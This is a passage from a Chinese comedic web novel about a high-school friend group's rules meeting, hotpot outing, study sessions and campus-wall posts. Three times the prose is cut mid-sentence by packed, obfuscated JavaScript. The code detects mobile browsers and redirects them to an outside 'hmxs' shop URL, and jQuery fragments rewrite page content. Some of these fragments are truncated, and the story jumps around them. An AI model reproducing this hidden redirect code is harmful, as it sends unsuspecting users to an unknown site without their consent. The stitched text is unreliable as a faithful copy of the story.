CP鱼(鲁平&张聪明)需每月缴纳恋爱税,并在鱼塘主需要时提供情绪价值(包括但不限于讲笑话、表演节目、当出气筒)。 4. 所有鱼类禁止私自结盟对抗鱼塘主,违者永久踢出鱼塘,并接受校园墙公开处刑。 念完,她看向众人:“有意见吗?” 大雄举手:“第四条,‘私自结盟’怎么定义?” “就是你们三个不能背着我说悄悄话。”梦萱说,“尤其是你们两个——”她指两位老师,“不能教大雄怎么反抗我。” 鲁平:“我们没有……” “我看到你们给他送书了!《独立人格培养手册》!” 张聪明:“啊~那是养猪的书啊~” “我不管!” 洐沁推了推不存在的眼镜:「规则制定呈现明显的防御性,反映鱼塘主权焦虑。」 会议进行到这儿,还算正常——相对正常。 然后,画风开始突变。 --- 鲁平突然举手:“我有一个哲学问题。” 梦萱:“说。” “如果鱼塘主自己跳进鱼塘,那她是鱼还是塘主?” 全场寂静。 这个问题,太深奥了。 深奥到张聪明开始冒汗,大雄开始发呆,我开始怀疑人生。 我:ber哥们,这对吗? 只有洐沁眼睛发亮,笔尖飞舞:「引入本体论问题,会谈层级提升。」 梦萱皱眉想了十秒,说:“我是塘主,永远在上方俯瞰你们这些鱼。” “但如果有一天,你需要我们帮忙呢?”鲁平追问,“比如你掉水里了,我们救不救?” “废话,当然救!” “那救的时候,你是不是暂时成了需要帮助的鱼?” “……” 逻辑再次闭环。 梦萱抓起桌上的粉笔扔向鲁平:“你闭嘴!” 鲁平躲开,粉笔砸中了墙上的天文图谱,图谱掉下来,盖在了张聪明头上。 张聪明顶着星空图,茫然:“啊~我这是成仙了吗~” 梦萱气得拍桌子:“现在不是讨论哲学的时候!是讨论你们该怎么伺候我!” 大雄慢悠悠开口:“伺候这个词,不太平等。” “那你说用什么?” “互助。”大雄说,“你帮我指导挤痘,我帮你买水。你给两位老师提供恋爱场所,他们给你交税。这叫互利共生。” 生物学概念都出来了。 洐沁记录:「大雄引入生态学模型,试图重构关系框架。」 梦萱盯着大雄,突然笑了:“行啊,你长本事了。那你说,具体怎么互助?” 大雄掰手指:“比如,我每天帮你买一次水,但你每周要教我一道数学题——我数学太差。” “我数学也差!” “那让张老师教。” 张聪明:“啊~我可以啊~但得加钱……不是,加零食~” 梦萱:“成交。” 她又看向鲁平:“你,政治老师,以后我写骂人小作文,你帮我润色,要显得有文化。” 鲁平:“……比如?” “比如把‘你他妈有病’改成‘您的行为艺术令人叹为观止’。” “……行。” 一场关于“鱼塘主权”的会谈,莫名其妙变成了技能交换大会。 洐沁的表格不够用了,她临时加了一张纸,画了个关系网: 梦萱(提供骂人灵感、零食分配)←→大雄(提供体力、买水服务) 梦萱(提供恋爱税征收权)←→两位老师(提供学科辅导、情绪价值) 两位老师(提供恋爱场所)←→梦萱(提供不捣乱承诺) “完美闭环。”她喃喃自语,“这是新型社会关系模型,可以命名为‘抽象共生系统’。” -- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064652|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 会议进行到一半,突然有人敲门。 是校长。 他听说有人搬走了他的办公椅,一路追查到天文台。 推开门,看到的是这样的场景: 梦萱坐在他的椅子上,翘着二郎腿,像□□老大。 大雄在给她捏肩——因为“刚才说话太多,肩膀酸”。 鲁平在写《骂人词汇雅化对照表》。 张聪明在计算“恋爱税”的税率。 洐沁在画关系图。 我在记录会议纪要——虽然记的是“梦萱说‘他妈的’第18次”。 校长沉默了三秒。 然后他说:“你们……在补课?” 梦萱面不改色:“对,我们在进行‘跨学科综合实践活动’。” 校长:“那我的椅子……” “道具。”梦萱说,“为了模拟职场环境,培养学生的领导力。” 校长似懂非懂,看向我:“程穗,是吗?” 我硬着头皮点头:“是……我们在模拟联合国会议。” “那捏肩……” “那是……按摩疗法,缓解学习压力。”我说得自己都不信。 但校长信了。 他点点头:“很好,继续。椅子用完了记得还我。” 他走了。 门关上。 全场松口气。 梦萱踹了大雄一脚:“继续捏,别停。” 大雄:“哦。” 洐沁推了推不存在的眼镜:「权威介入被成功化解,反映该小团体已具备成熟的应急话术体系。」 --- 会议最后,梦萱做出了历史性决定: “我宣布,成立‘抽象关系研究小组’!” 全体:“???” “组长是我。”梦萱说,“副组长是洐沁,因为她最会分析。组员是你们三个。程穗当后勤部长,负责买零食和记录。” 我:“……我能拒绝吗?” 梦萱:“不能。” 洐沁却兴奋了:“研究主题是什么?” “就研究我们这种关系。”梦萱说,“给这种关系起个名字,写个论文,说不定能拿奖。” 鲁平:“起什么名字?” “叫……”梦萱思考,“‘颠婆与她的三个男人及一个观察员’?” 张聪明:“啊~太直白了~” 大雄:“叫‘互助小组’吧。” 洐沁:“叫‘非典型多边情感共同体’。” 最后定名:“抽象共生关系研究与实践小组”。 简称:“抽风小组”。 小组第一次行动:去小卖部买冰淇淋庆祝。 梦萱请客——用两位老师刚交的“恋爱税”预付款。 于是,天文台楼下出现了奇景: 梦萱走在最前面,手里举着冰淇淋像火炬手。 大雄跟在后面,帮她拿书包。 鲁平和张聪明并肩走,分吃一个甜筒——因为钱不够,只买了五个冰淇淋,他们自愿合吃一个。 洐沁边走边画速写。 我走在最后,拎着一袋零食,思考人生。 路过操场时,被全校围观。 有人拍照发校园墙:「震惊!秃油CP、颠婆、憨憨体育生、画画怪人、和班长,组成神秘组织!他们要去征服世界吗?」 底下评论: 「这阵容能拍一部电影了」 「片名就叫《这个班没救了》」 「班长看起来好累,心疼」 我确实累。 心累。 但看着前面那群人——梦萱在骂大雄吃太快,大雄憨笑;两位老师在争论甜筒谁咬多了;洐沁在画大家的背影——突然觉得,好像也不错。 至少,他们暂时不作了。 至少,冰淇淋挺甜的。 --- 晚上,洐沁在群里发了会议纪要的Q版画版本: 第一张:天文台会议,每个人头顶气泡显示内心OS: ·梦萱:这些鱼真难管 ·大雄:捏肩好累 ·鲁平:哲学问题没人懂 ·张聪明:甜筒好甜 ·洐沁:数据爆炸 ·程穗:我想回家 第二张:校长推门,全员石化,只有梦萱头顶飘字:“看我的。” 第三张:小卖部游行,像胜利凯旋,背景是夕阳和鸽子(还是麻雀改的)。 群里笑疯了。 连鲁平和张聪明都点了赞。 梦萱回复:「画得还行,下次把我画美点。」 洐沁:「已记录需求。」 大雄发了张自拍——他脸上的痘痘好多了,只有三颗了。 配文:「自主挤痘成果展。」 梦萱回复:「手法还是烂。」 一切好像回到了正轨。 但又完全不同了。 因为现在,他们是一个“小组”了。 一个研究自己有多抽象的小组。 而我,是后勤部长。 负责买零食。 和崩溃。 19. 第 19 章 “抽风小组”的第一次团建,定在周日下午五点,学校后街的“喷火火锅店”。 选择这家店的原因: 1. 店名带“喷火”,梦萱觉得霸气,符合她的人设。 2. 有自助冰淇淋机,张聪明爱甜食。 3. 凳子够结实,经得起大雄的体重。 4. 最重要的是——有包厢,隔音,方便吵翻天。 周日下午四点五十,我第一个到。 不是积极,是梦萱在群里发了最后通牒:「迟到者付全桌钱,并且要表演倒立吃辣锅。」 我惜命,也惜钱。 四点五十五,大雄到了。 他穿了件新T恤——领口有点紧,勒得脖子像根香肠,脸上痘痘贴了三个痘痘贴,排列成等边三角形。 “班长早。”他憨憨点头,然后开始研究菜单,“这个肥牛套餐,够吃吗?” “六个人,应该够。” “但梦萱能吃。”大雄认真地说,“上次她一个人吃了三盘肉。” “……那就点八盘。” 五点整,鲁平和张聪明牵着手出现了。 真的是牵着手。 张聪明的手被鲁平牵着,鲁平的表情像在牵一只大型犬,张聪明的表情像在逛公园。 看到我们,两人迅速松手,咳嗽,看天花板。 “啊~今天天气真好啊~”张聪明说。 “嗯。”鲁平附和。 我和大雄假装没看见。 五点零五分,洐沁到了。 她背着一个巨大的帆布包,里面装着:观察笔记本、三种颜色的笔、相机、录音笔、尺子(用来测量食物分配公平性)、以及一个弹簧秤(用来称谁的肉夹多了)。 “工具齐全。”她推了推不存在的眼镜,“今天的数据会很珍贵。” 五点十分,梦萱还没到。 群里问,她回:「在化妆,等着。」 五点二十,她到了。 化妆的结果是:眼睛画得像熊猫,口红涂出边界,脸颊上还贴了颗亮片假痘——她说这是“时尚”。 她扫视全场,满意点头:“都到了?行,点菜。” --- 点菜环节,战争的前哨。 梦萱拿过菜单,直接勾了最贵的“豪华六人套餐”,价格:388元。 “AA,一人64块6毛6。”她说。 鲁平举手:“我建议按头发面积付钱。” 全体:“???” “秃顶面积大的人付得少,头发多的人付得多。”鲁平认真地说,“这叫公平。” 张聪明跳起来:“啊~那我岂不是要付最多!这不公平!” “你头发油,发胶值钱,应该多付。” “那你的秃顶反光,省电,应该付双倍!” 两人吵起来。 大雄慢悠悠开口:“我觉得应该按痘痘数量付。” 他指着自己的脸:“我有三颗痘,梦萱有一颗假的和一额头小的,两位老师没有。那我和梦萱付少点。” 梦萱:“我的假痘是艺术!算两颗!” 大雄:“那行吧。” 梦萱:“但你痘痘大!我的小!” 大雄:“大小也是痘。” 洐沁推了推不存在的眼镜,掏出计算器:“如果按抽象程度付钱呢?我可以给每个人打分。” 梦萱:“你打多少分?” “你,颠婆指数9.8,付最多。” “那你呢?” “观察员,属于工作人员,免单。” 梦萱把菜单摔桌上:“都闭嘴!AA!一人64块6毛6,多一分少一分都不行!” 鲁平小声说:“64.666……是无限循环小数,实际支付会出现误差。” 张聪明:“啊~那就一人65,多出来的钱买饮料~” 梦萱:“不行!就要精确到分!老板!能微信转账到小数点后两位吗?” 老板在柜台后玩手机,头也不抬:“不能,四舍五入。” 梦萱:“这是对数学的侮辱!” 老板:“那你别吃。” 梦萱蔫了。 最终定下:一人65元,多出来的2块钱买纸巾。 战争第一回合,老板胜。 --- 上菜后,战争正式打响。 第一战:肥牛分配战 套餐里有八盘肥牛,每盘八片,共六十四片。 六个人,除不开。 梦萱宣布:“我是组长,我多吃两片。” 鲁平:“凭什么?” “凭我是组织者。” “那我还是副组长呢!”洐沁举手,“我应该多吃一片。” 张聪明:“啊~我年纪最大~尊老爱幼~我也要多一片~” 大雄:“我体积最大,需要更多能量。” 我:“我……我随便。” 没人理我。 他们开始用各种方法争夺肥牛: 鲁平掏出尺子,测量每片肥牛的尺寸,计算“体积公平值”。 张聪明用筷子当算筹,排列组合。 大雄直接伸手去拿,被梦萱打手。 洐沁在笔记本上画肥牛分配矩阵图。 最后是老板看不下去了,过来又送了一盘肥牛:“别吵了,这盘免费,求你们安静点。” 战争第二回合,老板再次胜。 --- 第二战:辣锅归属权 锅底是鸳鸯锅,一边清汤,一边喷火辣锅。 梦萱要吃辣锅,张聪明也要吃,理由是:“啊~辣锅煮肉香啊~” 鲁平不能吃辣,一吃就秃顶冒汗,汗滴进锅里,像加料。 大雄能吃辣,但痘痘会爆。 洐沁吃辣,但要求记录“辣度对抽象思维的影响”。 我……我随便。 梦萱提议:“辣锅这边,谁出的钱多谁吃。” 张聪明:“啊~那还是AA啊~” “那就比赛。”梦萱说,“看谁先吃完一片毛肚,赢的人独占辣锅十分钟。” 比赛开始。 梦萱、张聪明、洐沁参赛。 老板当裁判。 毛肚下锅,三秒。 梦萱抢到,塞进嘴里,烫得直哈气。 张聪明慢了一步,筷子打架。 洐沁根本没抢,在记录“争抢行为的社会学意义”。 梦萱赢了。 她得意地霸占辣锅,把肉全下进去。 结果辣锅太辣,她吃了一口就咳嗽,咳得眼泪鼻涕一起流。 大雄默默递过去一瓶牛奶:“解辣。” 梦萱灌下半瓶,喘着气说:“辣锅……归你了。” 大雄:“哦。” 战争第三回合,大雄不战而胜。 --- 第三战:冰淇淋机争夺战 自助冰淇淋机,限时开放,每人限打两次。 梦萱打了第一次,挤了个歪歪扭扭的球,像坨屎。 她不满,想打第二次,被老板制止:“一人两次,打完再打要加钱。” 梦萱指着大雄:“他用我的次数,他不吃冰淇淋。” 大雄:“我吃的。” “你吃个屁!你痘痘不能吃甜的!” “我能吃。” “不准吃!” 大雄不理她,走过去打冰淇淋。 他手稳,挤了个完美的球,圆得像教科书插图。 梦萱看傻了。 “你怎么做到的?”她问。 “手腕用力均匀。”大雄说,“跟扔铅球一个道理。” 梦萱试了第二次,还是屎状。 她怒了,要打第三次,老板过来收费:“第三次,五块。” 梦萱掏钱,打第三次,还是屎。 她盯着冰淇淋机,像盯着杀父仇人。 鲁平看不下去,走过去:“我帮你。” 他打了一个——比屎还丑,像融化的脑花。 张聪明也试了,他的冰淇淋球油光发亮,像抹了发胶。 洐沁推了推不存在的眼镜,分析道:“冰淇淋的形状与人格有关。梦萱的扭曲,反映内心冲突;鲁平的融化,反映情绪不稳定;张聪明的油亮,反映表面光滑内里虚。” 梦萱:“那大雄的圆呢?” “反映思想单纯,目标明确。” 梦萱:“……意思是我思想复杂?” “是的。” 梦萱把冰淇淋扣在了洐沁的笔记本上。 笔记本:我日! 战争第四回合,笔记本阵亡。 --- 第四战:纸巾经济学 AA多出的2块钱,买了四包纸巾。 梦萱宣布:“纸巾也AA,一人三分之二包。” 鲁平:“怎么分?” “撕开。”梦萱说,“按抽数算,一包120抽,一人80抽。” 她真的开始数。 数到一半,大雄打了个喷嚏,抽了三张纸。 梦萱瞪他:“你超支了!” 大雄:“鼻涕要流嘴里了。” “那也不能超支!” 鲁平打圆场:“我的分他一点。” 张聪明:“啊~我的也分一点~” 梦萱:“不准分!要分就重新计算!” 她掏出手机计算器,重新分配。 算到一半,洐沁抽了一张纸擦眼镜——虽然她没有眼镜,但她做了个推眼镜的动作,然后擦空气。 梦萱:“你也抽了!” 洐沁:“这是必要观察损耗。” “损耗个屁!” 最后,老板又来了,扔过来一整盒纸巾:“免费送!求你们别算数学了!我头要炸了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064653|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 战争第五回合,老板头炸了(比喻义)。 --- 吃到一半,气氛突然哲学。 可能是辣锅熏的,可能是冰淇淋甜的,也可能是数学算累了。 鲁平放下筷子,深沉地说:“你们说,AA制真的公平吗?” 张聪明:“啊~不公平啊~我吃得多应该多付啊~” 大雄:“但有人吃得少,可能因为不喜欢吃,不是因为不想吃多。” 梦萱:“所以应该按‘吃得爽度’付钱。” 洐沁:“爽度如何量化?” 梦萱:“我爽就是10分,不爽就是0分。” 鲁平摇头:“这不科学。应该引入‘边际效用递减规律’——吃第一片肉爽度高,第十片就没感觉了。所以应该按片收费,且单价递减。” 张聪明:“啊~那还得记录每个人每片肉的爽度啊~” 大雄:“太麻烦了,还是按体重吧,简单。” 我:“……能好好吃饭吗?” 没人理我。 他们开始画图,在火锅蒸汽上画坐标轴,X轴是时间,Y轴是爽度。 梦萱的曲线像过山车,大雄的像直线,鲁平的像波浪,张聪明的像心电图。 洐沁拿出相机拍照:“火锅蒸汽数据可视化,开创性研究。” 老板路过,看了一眼,默默退回柜台,吃了片降压药。 --- 尾声:结账时的终极战争 账单来了:388元套餐+免费肥牛+免费纸巾+饮料=420元。 梦萱:“六个人,一人70。” 鲁平:“但老板说了肥牛和纸巾免费。” 张聪明:“啊~那应该是388加饮料32,420没错啊~” 大雄:“饮料不是AA吗?” 洐沁:“我喝了半瓶豆奶,应该付三分之一瓶的钱。” 我:“我什么都没喝。” 梦萱:“那你亏了。” 又开始算。 算到老板过来,夺过账单:“别算了!四百二,我给抹个零,四百!行了吧!” 梦萱:“抹零是商业欺诈!” 老板:“那你们慢慢算,我下班了。” 最终,每人交了70元,多出的20元,梦萱说“当小组活动经费”。 但钱在她手里,没人知道她会用来干嘛。 可能买亮片假痘,可能买/////凶/////杀/////人。 --- 散场时,天黑了。 六个人站在火锅店门口,肚子圆滚滚,脸上油光光。 梦萱打了个饱嗝:“下次团建,吃烤肉。” 鲁平:“我建议先制定烤肉分配算法。” 张聪明:“啊~我要研究烤肉厚度与熟度的函数关系~” 大雄:“我可以负责烤,但要多分一片肉。” 洐沁:“我需要测量烤肉温度对社交距离的影响。” 我:“……我能请假吗?” 梦萱瞪我:“不准!后勤部长必须到场!” 她转身,挥手:“走了!下周见!” 她和大雄一起走了——大雄手里拎着她的包,虽然他说不当工具人了,但有些习惯改不掉。 鲁平和张聪明并肩走了,边走边讨论“如何用微积分优化AA制”。 洐沁粘着我:“班长,今晚的数据太丰富了,我需要你帮我整理。” 我:“我要写作业。” “我帮你写。” “你写的不像我的字。” “我模仿。” 我看着她兴奋的脸,突然笑了。 “行吧。”我说,“但你要请我喝奶茶。” “AA吗?” “你请。” “……行。” 我们走在路灯下,影子拉得很长。 身后,火锅店的老板在门口挂了个牌子:「谢绝大型抽象团体聚餐,尤其是带尺子和计算器的。」 --- 回家后,群里炸了。 梦萱发了九宫格照片:肥牛、辣锅、屎状冰淇淋、以及大家争吵的丑照。 配文:「第一次团建圆满成功,下次争取打起来。」 鲁平发了篇小论文:《论AA制在小型团体中的博弈困境及改良方案》。 张聪明发了条语音:“啊~今天真开心啊~就是有点撑啊~” 大雄发了张自拍,痘痘贴少了一个,配文:「辣锅有助于痘痘成熟。」 洐沁发了数据图表:「火锅战争各回合胜负分析及战力值排名。」 我发了两个字:「累了。」 然后关机,睡觉。 梦里,全是肥牛在飞,尺子在量,冰淇淋在哭。 这就是“抽风小组”的团建。 这就是我的高中生活。 抽象,但饱。 20. 第 20 章 梦萱成立“废弃教室学习小组”的理由非常冠冕堂皇: “为了提升小组成员的综合素质,更好地为抽象研究服务。” 实际原因: 1. 期中考试快到了,她数学12分,政治9分,再不学真要留级。 2. 废弃教室没监控,方便她边学边骂人。 3. 最重要的是——可以名正言顺使唤两位老师当免费家教。 小组阵容如下: ·组长兼学渣代表:梦萱(负责拍桌子骂“这题出得有病”) ·武力陪读兼学渣二号:张大雄(负责给梦萱扇风、递水、以及在她摔书时接住) ·政治辅导兼哲学辩手:鲁平(负责把简单问题讲复杂,再把复杂问题讲崩溃) ·数学辅导兼人类计算器:张聪明(负责用“啊~”打断所有人的思路) ·观察记录兼气氛破坏者:洐沁(负责在本子上画大家崩溃的Q版画) ·纪律委员兼崩溃预备役:程穗,我(负责说“别吵了”然后被无视) 第一次学习会,周一下午放学。 废弃教室在三楼拐角,窗户碎了三块,用报纸糊着,桌椅是别的教室淘汰的,桌面上刻满了历届学子的愤怒涂鸦,包括但不限于:“数学去死”、“班主任是猪”、“我想上天”。 梦萱坐在讲台上——她把讲桌搬走了,换成了从体育器材室偷来的裁判椅,坐上去可以升降,她一会儿升到最高俯瞰众生,一会儿降到最低趴着睡觉。 “现在,”她敲了敲不知道从哪找来的惊堂木(其实是半块砖头),“学习开始。第一项:数学。” 张聪明走到破烂的黑板前,粉笔只剩拇指长一截,他写得小心翼翼: 已知:梦萱同学数学月考12分,满分150。 求:她还有救吗? 梦萱把砖头扔过去:“你他妈找死?” 砖头砸在黑板上,粉笔灰簌簌掉,张聪明变成了白毛老头。 “啊~这是客观事实啊~”张聪明抹脸,“我们要基于事实制定学习计划啊~” 鲁平举手:“我建议先从培养数学兴趣开始。比如,把数学题和现实生活结合。” 梦萱:“怎么结合?” “比如,”鲁平说,“你每天骂人次数和数学成绩成反比。骂人越多,分数越低。我们可以建立一个函数模型——” 梦萱又扔了块砖头。 这次砸中了墙角的老鼠洞,一只老鼠探出头,看了两眼,又缩回去了。 “看,老鼠都比你们会看眼色。”梦萱说。 鼠鼠:不不不不不,我惜命! --- 正式开始学。 第一题:二元一次方程。 张聪明写:2x + 3y = 12 x - y = 1 “啊~这题很简单啊~”张聪明说,“用代入法啊~” 梦萱盯着看了三十秒,说:“这俩x和y为啥要纠缠不清?分开过不行吗?” 大雄在旁边点头:“对,分开好。” 鲁平解释:“这不是情感问题,是数学问题。x和y是变量,它们的关系由方程决定。” “那改写方程。”梦萱说,“改成x + y = 100,这样它俩都大,不用互相拖累。” 洐沁推了推不存在的眼镜,在本子上画: 第一张Q版:梦萱指着方程,头顶气泡:“分手!赶紧分手!” 方程里的x和y哭着抱在一起。 张聪明试图拉回正轨:“啊~我们先用代入法解解看啊~” 他讲解,梦萱打哈欠,大雄开始数教室里有几只蜘蛛,鲁平在思考“方程是否具有自由意志”,我在记录谁在说话——虽然记了也没用。 讲到第三步,梦萱突然拍桌:“我懂了!” 全体看向她。 “这不就是配对吗?”梦萱说,“2x和3y是一对,x和y是一对,但x又和1有关系。这是三角恋啊!” 张聪明:“……啊~不是~” “就是!”梦萱兴奋了,“而且最后解出来x=3,y=2。3比2大,说明x是攻,y是受。这题讲的是攻受关系!” 全场死寂。 连窗外的麻雀都不叫了。 洐沁的笔尖在纸上顿了顿,然后飞速记录:「成功将数学问题转化为情感关系分析,展现了强大的类比迁移能力。虽然完全错误。」 鲁平憋出一句:“你……有当哲学家的潜质。” 梦萱:“那当然。” 那节数学课,最终以“讨论方程攻受是否合理”结束。 张聪明离开教室时,背影佝偻,像老了十岁。 --- 第二项:政治。 鲁平精神抖擞地走上讲台——虽然讲台已经没了,他站在裁判椅旁边,显得有点矮。 “今天讲《唯物辩证法》。”他说,“核心是:世界是普遍联系和永恒发展的。” 梦萱:“比如?” “比如,”鲁平指着大雄脸上的痘痘,“痘痘的出现不是孤立的,和你的饮食、睡眠、内分泌普遍联系。而痘痘的发展是永恒的——旧痘消了,新痘又长。” 大雄摸脸:“有道理。” 梦萱:“那怎么用辩证法让痘痘消失?” 鲁平:“要抓住主要矛盾。痘痘的主要矛盾是‘你想挤’和‘不该挤’的对立统一。解决方法是——” “挤了再说。”梦萱接话。 “不对!是寻找替代方案,比如用痘痘贴。” 梦萱翻白眼:“你这辩证法没用。” 鲁平不服,继续讲:“还有质量互变规律。痘痘从红肿到成熟,是量的积累。挤破的瞬间,是质的飞跃。” 大雄:“质的飞跃是喷出来吗?” “……可以这么理解。” 洐沁又画: 第二张Q版:鲁平头顶冒出“辩证法”三个大字,像佛祖光环。梦萱和大雄头上分别顶着一颗巨大的痘痘,痘痘在对话:“我俩是矛盾吗?”“不,我俩是统一。” 课堂逐渐跑偏。 当鲁平讲到“否定之否定规律”时,梦萱举手:“所以,痘痘挤了(否定),留疤了(否定之否定),然后长新痘(新的否定)?这规律就是折腾人玩呗?” 鲁平卡壳了。 他备课二十年,从没遇到过用痘痘解构辩证法的学生。 窗外飞进一只蛾子,在鲁平秃顶上盘旋。 梦萱指着蛾子:“看,连蛾子都来听课了。它可能也想学怎么处理头上的粉——那算头皮屑还是痘痘?” 大雄认真回答:“算鳞粉。” 梦萱:“那你脸上的算啥?” 大雄:“算北斗七星附属星座。” 两人开始讨论痘痘星座学。 鲁平站在那儿,蛾子落在他头上,他浑然不觉,眼神空洞。 洐沁记录:「教学权威遭遇解构性打击,教师进入灵魂出窍状态。」 我小声问洐沁:“要不要救他?” 洐沁:“再观察一下,这是珍贵的崩溃样本。” 最终,政治课以鲁平喃喃自语“痘痘……矛盾……统一……”离开教室告终。 他走时,蛾子还跟着他。 --- 第三天,学习内容变成了混合双打——数学和政治一起学。 张聪明和鲁平并排站在前面,像说相声。 张聪明:“啊~今天我们讲数学中的哲学啊~” 鲁平:“比如,1+1=2,这体现了质量的确定性。” 梦萱:“1+1还能等于3,如果算上意外怀孕的话。” 大雄:“那得是1+1+1。” 梦萱:“闭嘴,没让你发言。” 张聪明强行拉回:“啊~我们看这道题啊~一个水池,进水管每小时进水10吨,出水管每小时出水8吨,问多久能装满?” 梦萱:“永远装不满。” 张聪明:“啊~为什么?” “因为出水管在出,进水管在进,这是无效努力。”梦萱说,“就像你俩,一个讲数学一个讲哲学,都是在往我脑子里灌水,但我耳朵是出水口,灌多少漏多少。” 鲁平:“这比喻……精妙。” 我:你挺有自知之明的。 洐沁画: 第三张Q版:梦萱的脑袋变成水池,左耳进水(数学公式),右耳出水(骂人词汇),张聪明和鲁平一个拿水管一个拿水桶,累成狗。 那天的学习成果是:大雄学会了用数学计算痘痘生长速度,公式是:(现有痘痘数÷天数)×未来压力系数=新痘预测数。 他算出来自己下周会长两颗新痘,位置在左脸颊。 梦萱说:“不准长,长了我就不教你挤痘了。” 大雄:“痘痘不长我能控制吗?” “用意志力!” “意志力能控痘?” “我说能就能!” 于是学习内容又变成了意志力控痘训练。 梦萱让大雄对着镜子,对脸上的痘痘说:“不准长!长出来我就挤了你!” 大雄照做,一脸严肃:“痘痘同志,请服从命令。” 鲁平在旁边点头:“这属于意识对物质的反作用。” 张聪明:“啊~但这不科学啊~” 科学不科学的,反正那两颗痘后来真的没长——可能是因为大雄那周睡得早。 但梦萱坚信是她的训练起了作用。 --- 周五,历史性的一天。 校长听说“有学生在废弃教室搞神秘活动” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我硬着头皮:“是……我们在进行‘自主学习模式探索’。” 我:已老实求放过。 校长又沉默了。 他看着黑板上的字——除了数学题,还有梦萱写的批注:“出题人是傻逼”、“水池该修了”、“建议改成酒池肉林”。 他看着鲁平鼻子上的红印——刚挤黑头挤的。 他看着张聪明口水浸湿的卷子,上面字迹模糊,像抽象画。 最后,他说:“注意安全,别把教室拆了。” 转身走了。 走到楼梯口,我们听到他叹了口气,很深,很深。 --- 校长走后,教室内外充满了快活的空气。 梦萱拍大腿:“看到没!校长都被我们镇住了!” 大雄:“他好像很累。” 鲁平:“我们是不是太过分了?” 张聪明:“啊~我觉得还行啊~” 洐沁推了推不存在的眼镜,画下最终章: 第四张Q版:校长站在门口,头顶冒出巨大的问号气泡,气泡里是所有人搞怪的缩影。他脚下踩着“崩溃临界点”的红线。 画完,她递给我看:“班长,这张能得奖吗?” 我:“能得‘最佳找死奖’。” 那天学习结束后,梦萱宣布:“以后每周一三五,固定学习。我们要成为全校最牛逼的学习小组——虽然学的是什么不知道。” 鲁平问:“那学习目标是什么?” “目标?”梦萱想了想,“让大雄数学及格,让我政治别个位数,让鲁老师学会挤痘不流血,让张老师讲课少说‘啊~’,让洐沁画出传世名作,让班长……让班长继续崩溃。” 我:“……谢谢您惦记。” 大家散了。 走出废弃教室时,夕阳把走廊染成橘红色。 梦萱和大雄走在前面,她在骂他走路太慢,他在憨笑。 鲁平和张聪明走在中间,他们在讨论“校长今天的心理阴影面积”。 洐沁粘着我,给我看她的新画:“班长,这张送你。” 画上是我,头顶着“纪律委员”的牌子,手里举着“别吵了”的旗子,但旗子断了,我哭成泪人。 我:“……我哪有哭?” 洐沁:“艺术加工。” 我:“把这加工去掉。” “不行。”她把画塞给我,“这是纪念。” 我拿着画,看着前面那群人的背影。 突然觉得,在这个废弃教室里,我们好像真的学到了点什么。 虽然不知道是什么。 但至少,蜘蛛认识我们了。 至少,老鼠不怕我们了。 至少,校长记住我们了。 虽然可能是以“想开除但找不到理由”的方式记住的。 但,也行吧。 21. 第 21 章 洐沁决定把“抽风小组”的日常写成《抽象观察笔记》连载时,我劝过她: “你写了,我们全得死。” 她推了推不存在的眼镜,眼神坚定:“为科学献身,是观察者的荣耀。” “献身的是我们!你会被梦萱剁成八段!” “那我会提前画好解剖图。”她说,“很有研究价值。” 哇操这智障玩意儿劝不动根本。 周一晚上,校园墙出现了第一篇帖子。 标题:《高二某神秘小组观察笔记(一):论数学课如何演变成情感咨询》 内容节选: 「今日观察对象:某M姓女同学(代号‘颠婆’)与两位老师(代号‘秃鹫’、‘油蛆’)的数学互动。 课堂主题:二元一次方程。 实际内容:方程攻受关系鉴定。 颠婆语录:‘x=3,y=2,3比2大,所以x是攻。这题讲的是强势方对弱势方的压迫。’ 教师反应:秃鹫陷入哲学沉思,油蛆试图用‘啊~’挽回局面但失败。 结论:数学教育已沦为情感教育的前沿阵地。」 帖子发出去时,我们正在废弃教室“学习”。 梦萱在骂大雄解题慢得像蜗牛爬,大雄在憨笑说“蜗牛也挺可爱的”,鲁平在思考“可爱是否属于唯物范畴”,张聪明在打瞌睡。 洐沁躲在桌子底下,用手机偷偷看回复。 十分钟,点赞破百。 评论: 「哈哈哈哈这是哪个班?我想去围观!」 「x是攻笑死我了,这女生是人才」 「秃鹫和油蛆……这代号太传神了」 「求更新!」 梦萱的手机也响了。 她看了一眼,皱眉:“这写的什么玩意儿……” 大雄凑过去看:“好像是我们。” “放屁!我们哪有这么抽象!” 鲁平也看了一眼:“这个‘秃鹫’……是在说我吗?” 张聪明惊醒:“啊~油蛆是我吗~好难听啊~” 洐沁从桌子底下钻出来,一脸无辜:“什么帖子?我看看?” 演技满分。 梦萱盯着她看了三秒,没怀疑——她怀疑谁也不会怀疑这个“只会画画的呆子”。 “有人在偷拍我们。”梦萱总结,“查!必须查出来!” 抓内鬼行动,正式开始。 --- 第一篇笔记只是开胃菜。 周二,第二篇来了。 标题:《观察笔记(二):政治课与痘痘的辩证关系》 内容节选: 「今日主题:唯物辩证法在皮肤护理中的应用。 